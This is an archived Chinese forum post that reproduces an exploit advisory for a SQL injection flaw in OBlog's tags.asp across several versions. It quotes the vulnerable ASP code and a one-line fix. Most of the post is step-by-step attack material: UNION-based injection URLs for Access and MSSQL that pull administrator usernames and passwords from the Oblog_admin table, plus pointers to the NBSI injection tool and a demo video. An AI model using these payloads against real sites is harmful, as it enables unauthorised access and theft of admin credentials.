OBlog (tags.asp) Remote SQL Injection Exploit

dirtysea 发表于 2008-5-23 22:30:12

OBlog (tags.asp) Remote SQL Injection Exploit

官方已经修正该漏洞。 –==+=================== www.nspcn.org =================+==– –==+ OBlog (tags.asp) Remote SQL Injection Exploit +==– –==+====================================================================================+==– #Author: Whytt & Tr4c3126com #版权所有:<A title=http://www.nspcn.org href="http://www.nspcn.org/" target=_blank>http://www.nspcn.org</A> & & Whytt #漏洞文件tags.asp #影响版本: 3.13-20060429 4.02-20070112 4.50 Final Build0619 4.60 Final Build0921 4.60 Final Build1107 #漏洞原因:变量tagid未经过滤传值，带入sql执行，导致注入产生。 #修补方法:检查用户提交的tagid，只允许是数字。 例如： 将iTagId = Trim(Request.Querystring(”tagid”))改成iTagId = Clng(Trim(Request.Querystring(”tagid”))) [+++] 这个地方的注射是去年whytt在读OBLOG 4.5的时候发现的，当时没仔细看，只是听他说适用于mssql版，今天在搞一个站的时侯遇见了Oblog 4.60 Final Build1107 (Access)，百般无奈又去看了看那个放了N久的”mssql注入点”，这一看不要紧，扩展成了access和mssql通杀。 [+++] 再来啰嗦一下代码的问题tags.asp行15-36 sType = LCase(Trim(Request.Querystring(”t”))) iTagId = Trim(Request.Querystring(”tagid”)) ’这个地方没过滤，在36行处传值给函数GetUsersByTag iUserId = Trim(Request.Querystring(”userid”)) sKeyword= Trim(Request(”keyword”)) sAll=Trim(Request.Querystring) If sAll & sKeyword=”" Then sType=”hottags” Call link_database() select Case sType Case ”hottags” sTitle=”最热门的100个” & P_TAGS_DESC sContent=Tags_Hottags() Case ”cloud” sTitle=P_TAGS_DESC & ”云图” sContent=Tags_SystemTags(1) Case ”list” sTitle=P_TAGS_DESC & ”列表” sContent=Tags_SystemTags(0) Case ”user” sTitle=P_TAGS_DESC & ”用户” sContent=GetUsersByTag(iTagId) 函数GetUsersByTag的原型在文件Inc_Tags.asp行320-338 Function GetUsersByTag(byval sTagId) Dim rst,sSql,sContent Set rst = Server.CreateObject(”Adodb.Recordset”) sSql = ”select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=” & sTagId & ” Group By UserId) a,oblog_user b Where a.Userid=b.UserId” rst.Open sSql,conn,1,1 If rst.Eof Then sContent=”没有符合条件的用户” rst.Close Set rst = Nothing End If i=0 Do While Not rst.Eof sContent=sContent & ”<a href=”& blogurl& rst(”user_dir” target=_blank) & ”/” & rst(”user_folder”)&”/index.” &f_ext&” target=_blank>” & rst(”userName”) & ”</a> ” rst.movenext Loop rst.Close Set rst = Nothing GetUsersByTag=sContent End Function 之所以当初whytt说只适用于mssql，是当时没想起来如何无错闭合，仔细想想原来这么简单. select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId union前后是一个语句当然不会出错了，但是 select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 ’ 为了返回union后面的语句信息，union前面的限定条件加一个and 1=2 [逻辑假] 这样就报错了，利用起来也是很简单的，打开<A title=http://www.target.com/oblog/tags.asp，点开一个有返回内容的连接 href="http://www.target.com/oblog/tags.asp，点开一个有返回内容的连接" target=_blank>http://www.target.com/oblog/tags.asp，点开一个有返回内容的连接</A>(注意是有返回内容，而不是标题,当然不怕麻烦也可以自己注册发表文章和标签)，看tagid，如图1 <A href="http://www.neeao.com/blog/attachments/200804/29_090537_5.jpg" target=_blank rel=lightbox target=_blank><IMG height=258 alt=attachments/200804/29_090537_5.jpg src="http://www.neeao.com/blog/attachments/200804/29_090537_5.jpg" width=500 onload="<i">&#106avascript:DrawImage(this);></A> 这里我们看到的是1。组合下url就是 <A title=http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1 href="http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1" target=_blank>http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1</A> Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 放在nbsi里手动加入表oblog_admin，开始你的注射… 如果你比较懒，就用union查询吧 Access: <A title=http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1 href="http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1" target=_blank>http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1</A> Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select username%2bchr(124)%2bpassword,2,3 From Oblog_admin union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 and 1=2 MSSQL: <A title=http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1 href="http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1" target=_blank>http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1</A> Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select username%2bchar(124)%2bpassword,2,3 From Oblog_admin union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 and 1=2 如图2 <A href="http://www.neeao.com/blog/attachments/200804/29_090607_52.jpg" target=_blank rel=lightbox target=_blank><IMG height=281 alt=attachments/200804/29_090607_52.jpg src="http://www.neeao.com/blog/attachments/200804/29_090607_52.jpg" width=500 onload="<i">&#106avascript:DrawImage(this);></A> 附利用动画 <A title=http://www.tr4c3.com/upload/oblog.rar href="http://www.tr4c3.com/upload/oblog.rar" target=_blank>oblog.rar</A>

页: [1]

运维之家's Archiver

OBlog (tags.asp) Remote SQL Injection Exploit